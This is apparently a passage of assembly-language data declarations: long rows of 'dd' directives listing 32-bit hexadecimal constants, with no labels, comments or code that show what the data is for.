dd 0AA955491h, 0F7E10CB3h, 0C650035h, 461E2F8Ch, 62CD554h
dd 0EE2F80D1h, 816BCB07h, 5191E8ADh, 0C57B747Dh, 1ED0FAB6h
dd 0B51BB698h, 863F2F2Eh, 0E2301AEDh, 0FBCE5Eh, 5DEDF986h
dd 49C46E88h, 98A71EBCh, 561BD6DDh, 0D95BA339h, 41329BBBh
dd 0FE95F575h, 24C1323Ch, 6C12E6Eh, 9ECDAD23h, 501D383Ah
dd 44D3439h, 50840589h, 0E46221E2h, 0F75E61Ah, 0C73D7D2Eh
dd 28A45A5h, 1B8C684Ch, 8005000h, 9FAC802h, 75A15A40h
dd 0C03109CFh, 0F31109CEh, 295F432Fh, 11A2ABA1h, 8FC2D907h
dd 12B13D37h, 0ECD031D9h, 620AB5E1h, 5667E838h, 0F29F7A4h
dd 0DE37B3D6h, 4690F372h, 1314438Fh, 3C99F395h, 997B50D7h
dd 0FE012B85h, 443AD888h, 0A6FDE095h, 27950C5Dh, 0B7B077B7h
dd 7D8DE5FBh, 0C05AFF1h, 5E87339Eh, 0E6CE7CEDh, 0FE5BB5A8h
dd 2B0B5CCh, 1F4535AAh, 0A49AAD3Fh, 32A612EAh, 0D696DF65h
dd 4169989Dh, 8A1638EEh, 7EEC6D43h, 0AAA218AFh, 38E66374h
dd 0FA6836F6h, 0A148BB58h, 0BD723A39h, 8F6BD5FDh, 81C91D16h
dd 0D0FB6C13h, 66C5FD7Fh, 0FE35339Fh, 101B9F61h, 7DE45A2Eh
dd 2FA946CAh, 0F16940D9h, 9279B406h, 783B94CFh, 1B56BE72h
dd 63CFA8F6h, 91FC685Ch, 0D7C90BDh, 95291F3Fh, 0AA10E6FAh
dd 13CF7F2Fh, 3FF74B5Eh, 4B4DB03Ch, 0E7450712h, 16AE77C6h
dd 89BAACC0h, 33F85558h, 3E8C6B73h, 6DD962D4h, 51F210AEh
dd 0F7087277h, 713C80Ch, 6DE0370Ah, 0BB02F89Bh, 4DB85F1h
dd 29CD7D5Dh, 0EBD6086Ch, 0F5A56863h, 0AF373C9Dh, 27EBEC82h
dd 0B792710Ah, 73FC22C9h, 2A0735Ch, 46A22693h, 39F91488h
dd 71A47EF6h, 625E64DEh, 5CE943C3h, 790224Dh, 8C990A83h
dd 232F36DBh, 2B286245h, 0B721CA2Eh, 3C096EFFh, 146D0220h
dd 0D1C64BABh, 8ED4305Dh, 921A6CADh, 0DFF81F37h, 0BEED07D0h
dd 0DC189728h, 0E5A7ABA2h, 72EA1AB8h, 0B5EED5F9h, 57007ED3h
dd 296967BBh, 6DAE6E5Fh, 559D9869h, 26B84476h, 0CA0A24D1h
dd 0DD689D21h, 0E1AB9026h, 0B102B9Ah, 5FF8F0F0h, 817C5405h
dd 44479095h, 85A977C2h, 30A67EA5h, 0EEA011DBh, 0CD7B16F3h
dd 3F224CBCh, 51470B61h, 0C9B301F0h, 0ECD881A1h, 9864440Eh
dd 0B9FE9E73h, 0FB99BFD8h, 29ED820Ch, 88B5A924h, 414A7DA8h
dd 84032F2Ah, 353188B6h, 0B0713499h, 5C840626h, 242EE7E5h
dd 0BE1AC231h, 34617431h, 4B1623C2h, 752217F8h, 9D2F2AC7h
dd 761874B9h, 0F10D201h, 7F920730h, 7F66A6CFh, 9F9EA693h
dd 5EBA0F00h, 28850323h, 6FCB04DCh, 2FC93AAFh, 33A08BB9h
dd 7D22E66Ch, 574763BEh, 715F229Eh, 7DE68D84h, 81AD619Bh
dd 2EB4F422h, 7C74A3FCh, 45ADAD1Fh, 738A2129h, 416F7E96h
dd 8458801Fh, 5788EC3Ah, 1EEFC45Ch, 2A61B120h, 8BC3CE12h
dd 268F4A27h, 3A0C943Eh, 896608B5h, 0F19F7FD5h, 0EFDBAF15h
dd 4209B50Dh, 0FB946D16h, 0A4E88511h, 8D3EFA89h, 0FCEE7C9Fh
dd 0AE85BB33h, 0AE594647h, 4B2CE632h, 0E363568Fh, 0C9749837h
dd 13AC30DCh, 630B263Fh, 842F284Bh, 0A42CE20h, 3BD25498h
dd 13DC1A02h, 121D028Ah, 32D81E89h, 1F538431h, 0A77A862h
dd 218B010Dh, 0B93BA63Dh, 0C3CA7258h, 91B877FDh, 0CC2B3581h
dd 2A6A0044h, 851D7B4Ch, 0F1F44A46h, 0C67B422Eh, 0DF4F1BF2h
dd 0A99C06F6h, 6FEC9E04h, 8628CFC9h, 99B2BDAEh, 0C083D0h
dd 1E78EC9Ch, 6803C7F9h, 8CF7B52h, 0D6A76BC6h, 6F45395Ah
dd 5C6F3D77h, 0EE0C2C04h, 7ED74248h, 0CEBD278Eh, 9D0829C6h
dd 23377807h, 30C17508h, 0DD693FE0h, 0BFCE63Bh, 4DA85640h
dd 0CAE6358Ah, 97617D13h, 732B1CA8h, 0FF1D7DCFh, 0CDB38C23h
dd 0A1CEA71Eh, 0F28DE42Eh, 668DE95Eh, 0C95DDA50h, 74B2433Dh
dd 27B4B29Ch, 0FBB61094h, 15A4B14Eh, 0BA4ADF47h, 45D4352Fh
dd 0A61A3B71h, 0D1F0DED6h, 0C5757AE1h, 0DBD4E39Ch, 94BF4522h
dd 734B6DCFh, 92355BA5h, 4A2E41E0h, 0BDEBC2D0h, 9CDF5F20h
dd 0BC148C1Eh, 2113E19Dh, 31B6213Bh, 33AB649Ch, 4E5B6FCAh
dd 70364Dh, 0AE989503h, 0DA8045DBh, 0DD0610D8h, 1D0D0F77h
dd 7575FAA9h, 0DEE5DB84h, 5EE77510h, 961D6375h, 0AC5A1E05h
dd 0D154CA2Ah, 3001B2Ch, 0D0A1CBE9h, 2242BBBCh, 52DBD22Ah
dd 36E2ECE4h, 0A94C9936h, 0FDCA58F3h, 2394312h, 0E034AFD3h
dd 140ED122h, 27BD31Bh, 0C2BCF97Fh, 0A6C7E344h, 0C348C05h
dd 19584246h, 0D2746EDAh, 3A9CD8AEh, 0AD6F60A4h, 4E1B7EE9h
dd 4D1197D4h, 0AD6278D0h, 99FBACC5h, 0B07022E0h, 9C6520ECh
dd 4A607E04h, 0B2A3E831h, 7CF26D0Ch, 0BA2F2A99h, 5F939113h
dd 0F10BD84Ch, 499030F5h, 318C78D7h, 1BAC16C5h, 0D345CBE7h
dd 0B821E9EAh, 0ECE98FBh, 51137C75h, 260FB7B9h, 326F0716h
dd 29A023F7h, 4355A5BAh, 276727C9h, 886789E2h, 0A9D7E434h
dd 3AEA993Bh, 0F3D9D61Bh, 0C84BC66Dh, 0A0E347D4h, 213F700h
dd 53147AC9h, 910E2160h, 4F77BD84h, 57409C31h, 9F05FFDCh
dd 0E8A1D09h, 0B9E0875Ch, 32627B75h, 2E46DC87h, 918F9386h
dd 76A720F6h, 0F5F7C236h, 75987404h, 0C64D0A60h, 0BE4520ECh
dd 0FBA424BEh, 5FA853AAh, 4CD14DB8h, 5C5646B9h, 0EE6DCD63h
dd 7B25F74h, 0ED04CB72h, 95C3C506h, 6544725Eh, 0CB9131CBh
dd 0B7AB7B20h, 1E2EC587h, 4490374Bh, 0B149DCEDh, 0DCA8F284h
dd 589EA840h, 0DEBB307Bh, 18DE1902h, 0C0431222h, 44428048h
dd 1BB885B6h, 336BC112h, 3314CC23h, 0C710B17Ch, 0C4823C32h
dd 528DAA1Bh, 0A0A43056h, 7CBBEA1Ch, 75904DB6h, 0D987DE07h
dd 0A5DF24D9h, 342315CAh, 65F70EF8h, 1FC514CFh, 0EB7C97A8h
dd 0FFF98847h, 5FF072C4h, 1F05E4h, 6EDA329Ah, 8B4ED32Eh
dd 83C721A9h, 0B77837Ah, 0AAD590F1h, 9CD4304Bh, 0AA309B9Bh
dd 83EE6B5h, 691C167Ah, 25B22EC2h, 0D86D1BF2h, 20517BCBh
dd 0FC9CD2C2h, 0D9118D0Dh, 0CE2FEDA5h, 17CCF0EDh, 0DF7F05EDh
dd 0BD85B796h, 42487E3Ch, 0AE93031Ah, 0BD0BDF6Fh, 0AB2048A4h
dd 380B6B8Bh, 0AA4437B0h, 81BE71A0h, 6329DBAh, 0F043133Bh
dd 75364F6Eh, 0DEC87FD5h, 0D5E25D5Dh, 4FC4FFCBh, 4A35C14Ch
dd 38665887h, 0FB93C8D0h, 2D760E9Fh, 7D904Bh, 0DB063C03h
dd 80FE0B5Bh, 0BC4E9DC5h, 3EB795C8h, 0DA284Ch, 0B993EE12h
dd 960917Ch, 0D04DFFCBh, 81BF3B5Bh, 0F345FAA1h, 710C5F8h
dd 0E254B53Dh, 3F30AA18h, 0E41B1971h, 7D3A2E5h, 0CD7E2ABCh
dd 25FBA72Ch, 59855C7Ah
dd 70D9D0DDh, 0C6C0E499h, 151F5395h, 32FCED4Eh, 0E581A316h
dd 1E4221B5h, 58BCCE89h, 0E1887D46h, 0CE755A9Eh, 7738FF0Fh
dd 0BEDBE102h, 926A2487h, 56312F5h, 0B250B889h, 0A00251F5h
dd 145A1D3h, 0BBEFBE2Dh, 0E0D61411h, 0F7370959h, 969DF661h
dd 37D8778Eh, 0D6C60F44h, 7B54CF34h, 6A5F029h, 4093310Fh
dd 2D86C86Dh, 0BD372510h, 0BBE3A7D1h, 0CB506F85h, 0F222E8B6h
dd 8AD49D04h, 0F2A814B7h, 0ABDF2941h, 0F02B652h, 9393E47Dh
dd 0E2E0ABh, 417EE68h, 9CC62A03h, 8E4D97B1h, 0D28C4A9Ch
dd 0C7286A65h, 0B90FA13Ch, 0BDE0AE55h, 5BC342CEh, 0AD7E2DB9h
dd 1256B34h, 12B75B4Ch, 8CDEE98h, 0B76067D1h, 57B04AABh
dd 5F9D6E0Bh, 0E83EFF4Ch, 0C6EC0452h, 4C1BFB1Ah, 0D72AC433h
dd 54A0837h, 86950A32h, 92A136D2h, 0BACAD3F6h, 2AACEEC3h
dd 9E010B1Ch, 8F8EA288h, 903A1E7Ch, 0AB7DC498h, 7B411F46h
dd 0EB592553h, 485F45AAh, 0A0C96139h, 5CC89487h, 0B042920Ah
dd 0CFDDBC2Eh, 708BE4FBh, 6E77985Bh, 0E7461D2h, 0E8C0BE29h
dd 2BBCCF57h, 0BAEA8111h, 496E5256h, 5D15091Eh, 0FDDB7DDFh
dd 95E70D8Ch, 0C13911F1h, 1539C3ABh, 4AF8857h, 6D8A5CF1h
dd 8F8787ADh, 0A89A22D7h, 646086EFh, 6A2922D1h, 48547F1Bh
dd 0CAAC81D4h, 0DE4C1E75h, 6C0C3264h, 6FFD87F4h, 58EE6ACDh
dd 0F50AC987h, 17DEC755h, 862B0202h, 389C285h, 123056D5h
dd 4CFB614Fh, 9550FF67h, 0BAFFD89Ch, 2274616h, 5B20EE0Ah
dd 4ED4EACDh, 0A5A3ACA9h, 978F0608h, 7D7C5CC0h, 0C4984995h
dd 0E3112755h, 5467894h, 4279D83h, 0FC68559Ah, 4C9BFD4Ch
dd 9CC4CC95h, 0F77EC4C6h, 0B7288632h, 6036A6C8h, 0C95AD067h
dd 86FA31B2h, 80C2A68Ch, 0F93B412Bh, 34C6E913h, 0A3166982h
dd 3593AE28h, 9C74FD77h, 7BC72D3h, 0EDFB804Ah, 759FDAAEh
dd 47CFC974h, 45345ACCh, 2A60DDB2h, 1717A72Ah, 3E3CC8F1h
dd 50B8D5CFh, 0A7B89150h, 3215FDD4h, 0DEB61474h, 8F235DB4h
dd 240C8E0Fh, 0A201D992h, 0CD46F3C2h, 0FA3C539Eh, 0CBE961BAh
dd 27AB41ACh, 42C29B23h, 48ED5FC3h, 0A82C4399h, 0CF21CEE1h
dd 2FF5514Ah, 0E7E4B0A9h, 0BA950007h, 86CCEC9Ah, 0A59218DAh
dd 0D2A7C1EDh, 0E52197F5h, 239B93E4h, 0E9022F67h, 539DF4E7h
dd 6F584D56h, 0B2B9D84Ah, 13F56497h, 0BEC721F7h, 90025A00h
dd 0E9DD24DDh, 9F635F2Ah, 1DD1F3C5h, 77C1FDC4h, 39A67B8h
dd 4DDB494Ah, 0C24B1FB4h, 2B0F8D3Ch, 0A52A28B0h, 0BD0B9B8Dh
dd 2A321C87h, 255379FEh, 0C2C17A74h, 1DE03825h, 31415EE6h
dd 8436F19h, 0F4D53C3Bh, 0C1B94114h, 8A5BC3AAh, 9E8F63B0h
dd 1A008152h, 3E482552h, 68959AAFh, 32EC1A85h, 0D42DF284h
dd 2E3ACCB7h, 54127B16h, 0B7A8D449h, 0B68E33CBh, 5A62F4E2h
dd 43496ACCh, 0D2E84266h, 0C4F9310Eh, 0F821DFB0h, 0A259062h
dd 23A809CCh, 0E441D013h, 0B2FB34ABh, 0ADD16628h, 4DA7B546h
dd 9F3D0008h, 0BA0FFB10h, 4FADC9B3h, 0A7C07A85h, 674978EEh
dd 18510C18h, 236D1779h, 0BFAB03A6h, 0F381C758h, 495B37BAh
dd 57CF380h, 0AB25F35Bh, 0E69A530Dh, 0FFCCD00Bh, 3528D382h
dd 946DB2CFh, 301F39CEh, 0F5D1C4D9h, 0DB1BB480h, 9C9C125Dh
dd 0D3F0C1E8h, 8057003Ch, 0C8378825h, 1FB81C21h, 0C584F496h
dd 4B4678CAh, 0C06A4B87h, 101BE753h, 223F8590h, 0F77380D9h
dd 0B4C30835h, 6BE1821Dh, 72000CA9h, 5D0FC9F8h, 7F56A18Dh
dd 8E783981h, 3C477FF5h, 1A29A269h, 0E4FB451h, 65CC46D2h
dd 94843B86h, 79B885F4h, 0EB0F98F9h, 89C1D85Ch, 8CE7498Ch
dd 7CEF3DB3h, 5B4B3067h, 8FCED6CDh, 8B2D6227h, 0A499B32Bh
dd 0E0F18D56h, 5703CAD3h, 4B4A8143h, 4A28BE15h, 0BA53C64Ch
dd 8F389969h, 0C218349Bh, 435929D9h, 800C390Eh, 7A71F707h
dd 2E7C1EFEh, 0E2461066h, 6B478530h, 13EE5D9Bh, 0D93AAA03h
dd 1E35C4CFh, 50AEF7C5h, 0F06C2A9Ah, 0F1C0CB9Ch, 78BDD1A8h
dd 516A4A39h, 0DA017221h, 0F420C19Ch, 0E2288455h, 0A6492725h
dd 0C2CDB616h, 0DD206A84h, 0CB116D2Eh, 8EACDBFh, 9D4528E0h
dd 0F9CC1C07h, 3AB66536h, 0B23B690Dh, 0AC2E4956h, 3FD83E20h
dd 57F44EABh, 549B5795h, 8CA3027Ch, 95469F46h, 537F2EE3h
dd 66B210F1h, 1F09AED3h, 0A7B883C4h, 6DFE93Bh, 47308CBBh
dd 7BC1270Eh, 8BE7548Fh, 520FD5D1h, 31A36FBFh, 41BB1641h
dd 522ACEF2h, 45B6E4A1h, 8228818Eh, 0EB7E3453h, 9D143021h
dd 0A21E48BCh, 420ABC9Eh, 161A68A7h, 0B8C890F1h, 0B1B17B85h
dd 14E285F2h, 47B8F1h, 4ABD0582h, 0B0480720h, 0FB262371h
dd 392458EBh, 898A6D29h, 0D8A861CAh, 599A3C5Eh, 8721E9BCh
dd 2B9057ADh, 1BADF596h, 0C635ABE3h, 0F335E622h, 8723E5E2h
dd 0B186E1A7h, 0EF4C2AA0h, 882299D4h, 351C769h, 3645BF10h
dd 7363B79Dh, 787A5A0Fh, 129A0668h, 2601D3CFh, 0DB1777F6h
dd 8D7A754Ch, 8829A50Fh, 31509947h, 0ADE21EBDh, 78989679h
dd 102DD1Dh, 0D0CE1414h, 0C5061FEh, 35A579CFh, 0D8702ED7h
dd 5D3D4994h, 0EB3C39C0h, 0DAD297D5h, 21F11354h, 0F69A2684h
dd 6332CA19h, 0A5B2DF7h, 0D0F1A3EAh, 95F59F93h, 3F921758h
dd 7B83361Ch, 2346A256h, 2DB07C7Ah, 2945AEFDh, 0E85FB8D0h
dd 0FA858556h, 55376F52h, 30264B68h, 0F7B28DCEh, 0EA5E825Bh
dd 0D9E42BF8h, 0F46D5211h, 0DA6E4682h, 6E1946Ah, 4C5FFA56h
dd 9F554344h, 46CC515h, 182BA1EBh, 84C5910Ch, 7859BE0Bh
dd 4F4C26D9h, 201228D9h, 0A2B19B2Fh, 0F8C8B9E8h, 0EBA203A3h
dd 0B8407AF5h, 8A809B39h, 0DBD59F61h, 105D3080h, 44703DCFh
dd 0EC4837E0h, 48FB3132h, 78F92BDh, 0A44179B9h, 0B61B2D2Dh
dd 0BB8248E3h, 74DAE7C1h, 7A74A366h, 83B5A54Fh, 7BC5CA2Ah
dd 0E6B1C64h, 0B92A3DDAh, 0F3261253h, 0AD1B1822h, 0DA87EBD5h
dd 0C6159BE9h, 97C79A0Bh, 45802407h, 283B4432h, 0B484D911h
dd 0D0125268h, 6F190401h, 0E613A1EFh, 0B0092FC7h, 8465AC95h
dd 57680F31h, 18722E4Eh, 0A8B1A60Bh, 2C2EE264h, 8BCCAE95h
dd 352F8D0Eh, 0DACA19Bh, 101F3FC6h, 88CEE24h, 0A726A273h
dd 7D1A6B46h, 9571CFB3h, 4C316DCAh, 705ECBD4h, 0E7D1AE45h
dd 0E3BC96F8h, 1918C677h, 0F0A1BDC4h, 0FFD54627h, 6F802FA1h
dd 0E8F4B18Fh, 0A3EED52Eh, 0C7CCBDBDh, 0E6656565h, 6B021A6h
dd 1AEE6F75h, 16D41448h, 0E39942C7h, 7BC09DC7h, 96ADCE3Bh
dd 1977526Bh, 0CD28A21Bh, 0EE42783Bh, 46FED7F3h, 1954077Eh
dd 50C0946Ch, 0EA8E27Eh, 0F1401F51h, 1CC300A5h, 4A15802Eh
dd 0A9C169F0h, 0B43390E5h, 0D64669F6h, 0D1FC07ECh, 61E3306Eh
dd 8CCE6A01h, 61855FC1h, 737397B1h, 0AFE30F1Bh, 6E41CFEFh
dd 7EA05996h, 0BC25471Eh, 57A8E8F9h, 0FBD40340h, 6CBBD82Ch
dd 0BD822698h, 5E6F6B3Bh, 87116BB2h, 0AE610AC1h, 5008F82Ah
dd 5A5DCEF4h, 0D78941BAh, 0CE3F7017h, 0A3A4B15Fh, 0ABE3C0A2h
dd 0B8952842h, 5A9E3D01h, 7DAAA243h, 68A1ABB3h, 0B63EFFDEh
dd 2F21B17h, 75692282h, 5AA1C53Bh, 0FD50DB30h, 1C99740Bh
dd 0BDA308A9h, 0E068DACBh, 8A9E7967h, 501363CDh, 4DA04009h
dd 9B25FED3h, 51F516EEh, 88591F4Bh, 85F5228h, 0E03C8D50h
dd 3BE26EC0h, 3EC0E3CEh, 2BD4C516h, 7FCDE2E2h, 326CCD06h
dd 5804D77Ah, 6567305Ch, 94020154h, 12110ABAh, 86726211h
dd 578CFC06h, 0DFE77773h
dd 0D5436C78h, 416D860h, 3486D2C2h, 0B3A1A14h, 6B0CFA29h
dd 165C3972h, 45FE7AB0h, 325EE16Dh, 58B93E9h, 0ECE77A3Bh
dd 0BFE37627h, 0BCB5FD4h, 5B4A8C3h, 0AAF7FB3Eh, 0D910D2F5h
dd 0C41A01E3h, 0DA16C342h, 9F5B14B5h, 51803EE0h, 0F4F9BC1Bh
dd 0CF2363Dh, 14F43029h, 0B148E26Bh, 3B02CAFCh, 0DEE9DC4Ah
dd 33564B2Bh, 0DFCB7806h, 0A886CC27h, 0E62751E7h, 0EEA6981Eh
dd 4D0101A3h, 92BEF79h, 0D4B12573h, 9789E755h, 0BC8D0A55h
dd 587600F2h, 0D947BF5Eh, 0C17E627Fh, 0CFFDD5C5h, 8D5FDB9Ch
dd 0F948E4E6h, 0B1A90EF6h, 45D7E490h, 191900EEh, 376A68BEh
dd 0B3A0CCA2h, 5FDE2DFDh, 7664BA18h, 4627453Dh, 37FDE835h
dd 518D90Ch, 7659B9C5h, 1BEAFDD0h, 8B06A89Ah, 2D957817h
dd 0C69417F3h, 0D6B286BBh, 0FFBFE6B9h, 0BF71CC7h, 0ED261FE6h
dd 0D01B6694h, 1769FC37h, 26F79AB5h, 0E87D836Ch, 0D76EC768h
dd 130C7E3h, 0CD900471h, 38F2E52Eh, 3C0B0191h, 13799CAAh
dd 0CF331F39h, 866CB921h, 31E2C016h, 0EF402D78h, 6729F5ACh
dd 0A48BB0BFh, 0C661106h, 0F2FCBCD6h, 99EB3ED8h, 0A2D2B217h
dd 1FED4CF5h, 0B3763341h, 43FC3DABh, 5C1F85ECh, 90777F13h
dd 39C324D0h, 44700C7Ah, 0C9C160FDh, 41E61CBDh, 22DF5FF2h
dd 876B79C3h, 0E7A20150h, 8CF13326h, 3368FED7h, 0E6A85F88h
dd 0EBB8B763h, 82E40BA2h, 44595160h, 95EEED53h, 5166AE21h
dd 0E3BDA91Ah, 51B4A512h, 19083FC9h, 0A76728D4h, 970BF516h
dd 4A551E5Eh, 0F2F45BCh, 0E5E27FFAh, 2065AC8Ah, 84AD8DADh
dd 232629D8h, 0CED51F95h, 0E16C91B6h, 54F0777Fh, 73998A4Dh
dd 688F3493h, 1FDE46C5h, 99547D41h, 0BA2C6386h, 0DB26743Bh
dd 2C7EF48Eh, 0AE92615Dh, 2E80E476h, 107A0F27h, 0BC2DB677h
dd 5E3C2F60h, 5E56A4CFh, 73C994DFh, 0AFFA1723h, 2348845Ch
dd 0B55E608Ch, 4D67AEA3h, 0F3D9F4BFh, 4AAF2BF5h, 23FF5111h
dd 366FB2B9h, 0DB135348h, 869DCF39h, 1D229DEFh, 365CE756h
dd 7670EECh, 270BA7AFh, 3237D903h, 0C07D0435h, 31A94AA5h
dd 4A06539Ch, 0B7E3B82Dh, 0C54771FCh, 0D3DEC0D1h, 75FC3BEAh
dd 285A47EAh, 45699596h, 97EC35ADh, 2CFD0269h, 3328AC14h
dd 0BECC1DDDh, 0C86FD80Dh, 0B08CD613h, 72DDAFB6h, 565CED9Dh
dd 51BDC4E4h, 7D44CD91h, 0A745E497h, 0EB1A1976h, 7D3B5832h
dd 17A207C6h, 0B86A5BDCh, 61A794C8h, 28882C7Bh, 41E243A5h
dd 0E94E2F28h, 80D11F7Bh, 27AE5DC5h, 626E2602h, 0B36D4FC4h
dd 0CF21BC7Eh, 97F400A8h, 6F33482Fh, 7A5FAAB2h, 0CEA1FC0Fh
dd 2284D540h, 0C45F2B02h, 0FDD2A805h, 0FAC3A3DCh, 0BD6C03FBh
dd 4D0AABDAh, 3EE0E96Dh, 54A21F45h, 7693F0AAh, 73E99915h
dd 9D1DCE1Dh, 0A63E003Fh, 0B2CA1AAFh, 27A6697Fh, 7E183398h
dd 712C0270h, 0F5133CDAh, 0C5694D4Dh, 0E2FDFAFFh, 0C7240F5Eh
dd 6610317Bh, 8D2082A9h, 84BBD841h, 0E0038A1Dh, 0AA671DEh
dd 0B5B428F2h, 4949C4EBh, 50803AAh, 41E81C59h, 0BFBA8D2Dh
dd 4475B8D7h, 0C58D2A44h, 56AEBEE9h, 0BD0F5C05h, 56D2EE9Eh
dd 82AC3E37h, 95607C81h, 0BBC7B244h, 6CB7C682h, 778AC50Bh
dd 0D9674F09h, 54CE944Fh, 0CF97CF90h, 5C88A29Ch, 440B2BAh
dd 677F96B3h, 0E29D444Eh, 0CD30067Ah, 0D7772BE6h, 7BBDC037h
dd 0FA7463ABh, 0A83A0D6Ch, 0CC378A56h, 20A01A3Eh, 1C464BB2h
dd 255F9F69h, 43A7D2D5h, 1DF7A7Dh, 0A7206920h, 0C7B969C9h
dd 663E9C83h, 8A2D23D6h, 4A3C9451h, 0EE0BADE1h, 4E0039EEh
dd 736FFBA6h, 0B0AB6B8Bh, 0B27A8855h, 0FBF9DD75h, 6F1FB610h
dd 0D101FBE5h, 0E685DF08h, 3CE46024h, 371EAA5Ch, 420F2305h
dd 47AD4B02h, 137E42C1h, 30796AECh, 63E91CBCh, 761A2852h
dd 1CA3DD80h, 3C1E726Ch, 0BDBA2CBEh, 0FD562567h, 2D3B04D8h
dd 22C6392h, 4419B760h, 5ACA9158h, 0DF30DBDFh, 160EA47Eh
dd 4D00D2D3h, 0A67E7EC5h, 0F397DD00h, 0FB2E91E8h, 0F86A68E8h
dd 0AF3A6C94h, 859C0E3Ah, 53FD2B3Bh, 0B142C49Ch, 56C6BA2Ch
dd 4466CAAh, 115616FDh, 0E43F2032h, 67428D3Ah, 959B7729h
dd 0DCA74930h, 75A3C900h, 4A5D8541h, 0E32BD2EFh, 0DB5ECE7Fh
dd 7DECE8AFh, 2CF49D21h, 0A7971BA1h, 1ABB1F9Fh, 17D1940h
dd 0E52B3D89h, 8633456Ah, 92162F83h, 0A4E5FBB3h, 0A3D17B8Ah
dd 53DB289Bh, 0C394B80Eh, 4756B1D3h, 762FBE38h, 0E9E0E5B8h
dd 0C2349763h, 1C512EBEh, 0F922FC0Dh, 5F6CCEAEh, 633F4AE3h
dd 1249E27Bh, 0A72A1084h, 6BAE5DDDh, 0FB57CCBDh, 3A959BF8h
dd 7A10C811h, 809845D4h, 0CA3EBA09h, 3023FEBDh, 4C545E2Eh
dd 896142B9h, 0CF5FCAB5h, 4A3762F5h, 634F4B5Dh, 88A234CAh
dd 83DAA428h, 43BA189Fh, 0DC0D23D2h, 8C5B9BFBh, 2B294871h
dd 347144EAh, 660C5871h, 0DEBF9148h, 9C692EB4h, 6CA7958Eh
dd 0CDADD7E9h, 8036A04Ch, 0B570BD4h, 0A5FBFD2h, 3CE96F55h
dd 9ADE594Ah, 0EB3675A1h, 78EEFDBAh, 0B0B9E8B4h, 5D2952C1h
dd 1CF9ABAh, 0CDFF2E7Ah, 7C25D949h, 6738670Bh, 0ED1433BCh
dd 0B63150ACh, 0DA45AABAh, 0EC040115h, 624D46EAh, 6CF97FCCh
dd 0E6B15778h, 9849C716h, 9425EAA1h, 0B6B67A59h, 6B2B9FF7h
dd 5D75A909h, 497D67F8h, 6A274043h, 540BEE70h, 6A3DB765h
dd 337CA7DBh, 69FC119Eh, 43B1CB23h, 0CEB33CDFh, 4AA79893h
dd 0B7F12826h, 0D5C588Fh, 3AE1BF7Dh, 25D2F0E3h, 0C0941AE1h
dd 0CE2AC335h, 0EED1EDACh, 0DFE69B96h, 6C91643Ah, 0C7D4DFAFh
dd 0CDCB1D86h, 3E7D9CF8h, 7D7CB17Ch, 95F15773h, 2A309327h
dd 525D205Fh, 0BEB5284h, 0A67A7517h, 242CF084h, 0FC71E256h
dd 8E24D54Ch, 1EA0F5D3h, 15C12663h, 18A71BBh, 40B7BBA6h
dd 4B7C8860h, 0F45AF8F9h, 0D418488Ah, 53A68AD6h, 7CB47290h
dd 0DA28AD8Ch, 92735E9Ah, 2E66D6F4h, 9B2ADE3Ch, 0EB66BF4Eh
dd 0BCB2A964h, 0C5653EDAh, 547EDF9h, 0A73E20EAh, 6A538CE4h
dd 0CFB62171h, 9178916Ah, 4BDC0F0Ah, 89431488h, 0B7786245h
dd 4B991F17h, 5818A320h, 17FF08F5h, 76312B32h, 0CD17EB41h
dd 8899C489h, 49189DFCh, 0BC26950h, 0F74B6A6Bh, 29232F78h
dd 6CB4FD9Ah, 751E79B6h, 0F9262B0h, 5A0F1DE0h, 337720AAh
dd 29E803B1h, 7ACB4884h, 0DD1E03E1h, 25A67B2Dh, 79741788h
dd 9D97D3B4h, 7D692D80h, 2CC16BAAh, 953AECCDh, 4DBAB9BAh
dd 1B82CB96h, 13852D29h, 0AC27646Bh, 0CD1DE826h, 358E1AC4h
dd 482CBC49h, 0F9F333CFh, 2365411Ah, 1818FACAh, 533D4367h
dd 38AABF2Fh, 0AA6F43C7h, 0E945EEF4h, 35AB54E5h, 14E59318h
dd 105A7C7Ah, 8FE4A482h, 8A687559h, 1C421A5Bh, 0E7243931h
dd 87FF08A8h, 0AF5EC990h, 0A28114FDh, 4CBC53BAh, 45393681h
dd 0E4C91759h, 27CBA171h, 68EB1CB1h, 0FDD5735Ah, 0CB31BAB6h
dd 8BF5BBA7h, 775410AFh, 62F626BAh, 0F5D639CEh, 0C578B325h
dd 0BF4C12DFh, 1F0B6CD0h, 0D7A4977Fh, 54626CB5h, 0B9554082h
dd 0F2E95D45h, 0EE370EBEh, 17A4E454h, 2663D390h, 139C5E73h
dd 4C97BD68h, 9B74D9BEh, 84038575h, 3FFCEDEEh, 0E470E805h
dd 3C2B1FDBh, 0E915F908h, 988FD485h, 0C277F0EDh, 2D651488h
dd 9CB82091h, 0F6DAAD53h, 0A08AF4A6h, 850C8D47h, 0CC454FC8h
dd 633DD54Bh, 3A995739h, 8F2EB1D0h, 79CE5E40h, 3272887Dh
dd 9C19C819h, 65BEC01Bh, 4B033063h, 9264A068h, 0B8F79CC0h
dd 90F2EF56h, 37CB1D73h
dd 0EB354368h, 0E8AF948Ah, 48BC612Fh, 0A82926F3h, 8FBEE286h
dd 0D7536B12h, 34B0024h, 7128213Dh, 95EBAFEDh, 8527BF13h
dd 0A2D1D8BDh, 179A61C8h, 92553D11h, 7AC90D9Ah, 0C4601450h
dd 0AF668386h, 63483721h, 0E43788F5h, 0BB8C3CBAh, 88BA1337h
dd 0FDE92FBh, 8AE0B022h, 0D5434EAAh, 867381F9h, 147941BEh
dd 5986EDFBh, 0DDDE3F33h, 3B77130Fh, 8175C5C8h, 6BBF1F82h
dd 1352A962h, 261EF3F2h, 64DB79C3h, 65FE6577h, 8378B575h
dd 22169671h, 6F0EEBD9h, 2BC9774Fh, 279D54F6h, 40125323h
dd 0C8A39751h, 0E6453FEEh, 45CFCB4Dh, 8DB11DC7h, 2F9D13EFh
dd 0CA49DAACh, 0DF1C551Fh, 6EAB5B6Fh, 0FE2C3828h, 0C9C9EACAh
dd 6D54FF04h, 0E57A6A41h, 0EB06F98Ch, 0C007245h, 688EAAF7h
dd 0D5B85C67h, 6EEDE843h, 279C6F5Fh, 568E8C74h, 35E08FEFh
dd 7B812618h, 0FF19594Bh, 0DAE3F55Dh, 6ED519CEh, 7A0CA04Bh
dd 0D9EFD66Eh, 4539007Bh, 0E2B6719Dh, 45D0991Ah, 0ABBB10C6h
dd 86B3C3Dh, 938B1D32h, 479D3526h, 0C27CF5A3h, 0A78875EEh
dd 0A2116A64h, 0EBC3ECA3h, 24B08BCEh, 6270C844h, 8DFEA56Eh
